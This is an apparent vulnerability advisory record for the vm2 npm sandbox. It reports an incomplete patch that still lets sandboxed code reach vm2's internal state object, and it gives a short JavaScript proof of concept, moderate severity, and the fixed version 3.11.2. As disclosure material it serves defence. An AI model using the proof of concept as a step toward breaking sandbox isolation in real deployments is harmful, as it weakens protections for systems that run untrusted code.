Advisory

GHSA-2cm2-m3w5-gp2f

Also known as: CVE-2026-92963

Summary

vm2 has access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL

Details

Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

Details

It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-05-08 16:22 UTC
Modified
2026-11-05 22:00 UTC

Affected packages and fixes

vm2

npm · All systems

Affected

  • introduced 0, fixed 3.11.2 (semver)

Fixed versions

3.11.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences